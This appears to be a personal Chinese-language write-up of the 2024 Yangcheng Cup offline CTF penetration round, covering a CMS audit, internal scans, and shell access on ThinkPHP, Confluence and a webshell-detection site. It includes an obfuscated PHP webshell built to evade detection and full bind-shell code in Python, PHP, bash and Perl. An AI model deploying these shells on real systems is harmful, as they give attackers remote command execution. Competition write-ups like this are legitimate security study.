目录

  1. 1. 前言
  2. 2. 渗透部分
    1. 2.1. flag02
      1. 2.1.1. Catfish CMS审计(Failed)
    2. 2.2. flag01
    3. 2.3. flag03
    4. 2.4. flag14
    5. 2.5. flag04
  3. 3. 应急响应
    1. 3.1. flag02
    2. 3.2. flag01
    3. 3.3. flag03
  4. 4. 后日谈
    1. 4.1. docker内部内网ip的获取
    2. 4.2. 正向shell
    3. 4.3. 正向代理

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024羊城杯决赛

2024/9/11 线下赛 CMS Docker
  |     |   总文章阅读量:

前言

首次遇上安恒渗透,docker环境命令限制,没发vps困难重重,拼尽全力也无法战胜

image-20240911164742109


渗透部分

flag02

dirsearch扫目录,有robots.txt

image-20240911102531988

访问 /flag2.txt 即可得到

还有archive.zip,是官网的源码,Catfish cms,tp5.0.0框架

Catfish CMS审计(Failed)

搜了下本地文库都是xss的洞,完全用不上

我们可以自行注册登录账号,在用户后台发现头像处存在文件上传,对应的代码:

application/user/controller/Index.php

public function uploadhead()
{
    $file = request()->file('file');
    $validate = [
        'ext' => 'jpg,png,gif,jpeg'
    ];
    $file->validate($validate);
    $info = $file->move(ROOT_PATH . 'data' . DS . 'uploads',true,true,$this->picpre());
    if($info){
        $image = \think\Image::open(ROOT_PATH . 'data' . DS . 'uploads' . DS . $info->getSaveName());
        $width = $image->width();
        $height = $image->height();
        if($width > 300 || $height > 300)
        {
            @$image->thumb(300, 300,\think\Image::THUMB_CENTER)->save(ROOT_PATH . 'data' . DS . 'uploads' . DS . $info->getSaveName());
        }
        echo $info->getSaveName();
    }
    else{
        echo '';
    }
}

// catfish/library/think/File.php
/**
     * 设置上传文件的验证规则
     * @param  array   $rule    验证规则
     * @return $this
*/
public function validate($rule = [])
{
    $this->validate = $rule;
    return $this;
}

可以返回上传文件的路径,但是后缀限制是白名单没法利用

尝试找文件包含,但是只有模板渲染的代码

image-20240913235138153

一路跟过去没找到可利用的地方

注意到登录接口调用了 tp 的 captcha,抓包发现删掉 captcha 参数就可以绕过验证码登录,尝试爆破admin的密码,失败

再看一下sql的部分,3306端口没开,不能直接连数据库,翻了半天也没找到能注入的点

/public/commom/umeditor 有个编辑器,对应的代码在 public/common/umeditor/php/ 下

<?php
    header("Content-Type:text/html;charset=utf-8");
    error_reporting( E_ERROR | E_WARNING );
    date_default_timezone_set("Asia/chongqing");
    include "Uploader.class.php";
    //上传配置
    $config = array(
        "savePath" => "../../../../data/uploads/" ,             //存储文件夹
        "maxSize" => 5000 ,                   //允许的文件最大尺寸,单位KB
        "allowFiles" => array( ".gif" , ".png" , ".jpg" , ".jpeg" , ".bmp" , ".webp" )  //允许的文件格式
    );
    //上传文件目录
    $Path = "../../../../data/uploads/";

    //背景保存在临时目录中
    $config[ "savePath" ] = $Path;
    $up = new Uploader( "upfile" , $config );
    $type = $_REQUEST['type'];
    $callback=htmlspecialchars(str_replace(['(',')'],'',$_GET['callback']));

    $info = $up->getFileInfo();
    /**
     * 返回数据
     */
    if($callback) {
        echo '<script>'.$callback.'('.json_encode($info).')</script>';
    } else {
        echo json_encode($info);
    }

也是白名单文件上传,同时会转义html,xss也没希望

image-20240914000011840

找一下有没有反序列化入口,翻了一圈发现反序列化数据基本上都是从数据库或者缓存里面获取的

image-20240914000148128

那怎么办,想到前面有 captcha 接口,找一下rce的链子

结果测试了半天发现captcha不能用post访问,一访问就重定向到404

调试了半天,发现不用post请求的话 filter 根本进不去call_user_func

image-20240914000911275

一早上都在挖链子还没结果,真完蛋woc


flag01

吃完午饭剩两个小时左右,此时依旧是只交了一个flag,队友nmap扫高端口才发现35007上也开了个tp。。。nm

是个ai站,这个可以直接用工具一把梭

根目录下有flag01

image-20240911140056571

然后逆天的来了,docker起的渗透环境里面没有ipconfig等相关的命令

image-20240914001657513

靠队友翻hosts才拿到内网ip

192.168.54.70:80 open
192.168.54.1:22 open
192.168.54.1:80 open
192.168.54.130:80 open
192.168.54.107:3306 open
[*] WebTitle http://192.168.54.130     code:200 len:46512  title:AI.Tech - YangCheng Artificial Intelligence
[*] WebTitle http://192.168.54.1       code:200 len:30753  title:羊城数智科技有限公司 | Yangcheng Technology
[*] WebTitle http://192.168.54.70      code:200 len:30762  title:羊城数智科技有限公司 | Yangcheng Technology
[+] PocScan http://192.168.54.130 poc-yaml-thinkphp5023-method-rce poc1
192.168.30.1:22 open
192.168.54.1:22 open
192.168.95.1:22 open
192.168.119.1:22 open
192.168.130.1:22 open

[*] WebTitle http://192.168.30.130     code:200 len:282    title:None
[*] WebTitle http://192.168.30.100:8848 code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://192.168.30.33:8080 code:404 len:713    title:HTTP Status 404 – Not Found
[*] WebTitle http://192.168.30.121     code:200 len:7080   title:系统发生错误
[*] WebTitle http://192.168.30.1       code:200 len:7080   title:系统发生错误
[+] PocScan http://192.168.30.100:8848 poc-yaml-alibaba-nacos

有个数据库,但是账密不是官网源码的那个,继续扫下面5个的c段发现对应的web服务

另一个问题是反弹shell,没发vps,然后测了下也不通我们主机的ip,也是靠队友搭正向shell代理出来


flag03

队友找到个 Confluence 服务,里面找到官网账密和OA系统的账密,OA貌似在二层内网

image-20240911161246923

那么就能进管理员后台了,然后不能点设置主题,不然会被重定向回登录页硬控几分钟。。。

注意到上传插件处可以传zip,但是zip里的内容得是规定格式才能显示在插件列表里边

直接关闭原先的 announcement 插件,然后打包源码里的 announcement 插件,插入webshell

image-20240911161345491

上传后再次启用

image-20240911161312342

此时访问主页就能getshell了

image-20240911161430673


flag14

是一个ai webshell检测的功能,传个免杀图片马秒了,附件都没来得及看

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['cmd']);
?>

image-20240911144622193

image-20240911150845814


flag04

Confluence 扫出个 cve2021 的洞,队友打掉了

剩下的只能说来不及了,Nacos没时间打


应急响应

flag02

对该企业中的Web应用服务器进行入侵排查,找到攻击者留下的Webshell,提交Webshell文件名称。

ai tech站上马之后发现 public 下还有另一个马

image-20240911135929444

image-20240914001456608


flag01

拿到官网的shell就能翻到了


flag03

队友做的,我不到啊


后日谈

没能让安恒渗透满意真是抱歉

这次输给时间了,早上浪费了太多时间在官网了导致后面内网打起来手忙脚乱,而且本科组的强度确实恐怖,北邮✌ak了是真的猛,咱这分要是去隔壁组也能混个二等奖了

image-20240914004437214

主持人滚榜,嗯我在期待什么(柚子厨好有实力


不过本来也是抱着出差玩的心情来打的,诶这酒店的早晚餐还挺丰盛😋

话说如果巅峰极客,羊城杯,京津冀长城杯全进线下赛的话,是不是这几天基本上是全国可飞🤔

没活了,进个酒店路由器玩玩(

image-20240910232605385

image-20240910232355400

有报销公费出差,挺好((

docker内部内网ip的获取

在轻量化镜像里,缺少ipconfig等命令,这时候要考虑读取读取/etc/hosts来获取内网ip

image-20240915120538976


正向shell

参考:

https://github.com/ReAbout/web-sec/blob/master/penetration/PEN-ReShell.md

https://xz.aliyun.com/t/10843

需要自己实现socket

python in windows:

from socket import *
import subprocess
import os, threading

def send(talk, proc):
        import time
        while True:
                msg = proc.stdout.readline()
                talk.send(msg)

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',7777))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        t = threading.Thread(target = send, args = (talk, proc))
        t.setDaemon(True)
        t.start()
        while True:
                cmd=talk.recv(1024)
                proc.stdin.write(cmd)
                proc.stdin.flush()
        server.close()

python in linux:

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',7777))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

php in linux(需要开启 socket 扩展):

<?php
error_reporting(E_ALL);

$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($server, '0.0.0.0', 7777);
socket_listen($server, 5);

echo "Waiting for connection...\n";

$client = socket_accept($server);
echo "Connection accepted.\n";

$descriptorspec = [
    0 => $client,
    1 => $client,
    2 => $client
];

$process = proc_open('/bin/sh -i', $descriptorspec, $pipes);

if (is_resource($process)) {
    while (!feof($pipes[1])) {
        $output = fgets($pipes[1], 1024);
        if ($output !== false) {
            socket_write($client, $output, strlen($output));
        }
    }

    proc_close($process);
}

socket_close($client);
socket_close($server);
?>

bash in linux(需要 /dev/tcp 可用):

#!/bin/bash

# 创建 TCP 服务器
exec 3<>/dev/tcp/0.0.0.0/7777

echo "Waiting for connection..."

# 接受连接并打印连接信息
while true
do
    read <&3
    echo "Connect from $REPLY"
    exec 4<&3 5>&1 6>&2
    bash <&4 >&5 2>&6
done

perl in linux:

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $server = IO::Socket::INET->new(
    LocalAddr => '0.0.0.0',
    LocalPort => 7777,
    Proto     => 'tcp',
    Listen    => 5,
    Reuse     => 1
) or die "Can't create server: $!\n";

print "Waiting for connection...\n";

while (my $client = $server->accept) {
    print "Connect from ", $client->peerhost, ":", $client->peerport, "\n";
    
    open STDIN,  "<&", $client;
    open STDOUT, ">&", $client;
    open STDERR, ">&", $client;

    system("/bin/sh -i");
    
    close STDERR;
    close STDOUT;
    close STDIN;
}

image-20240915124155910

image-20240915124226334


正向代理

使用 Neo-reGeorg 工具进行正向代理

项目地址:https://github.com/L-codes/Neo-reGeorg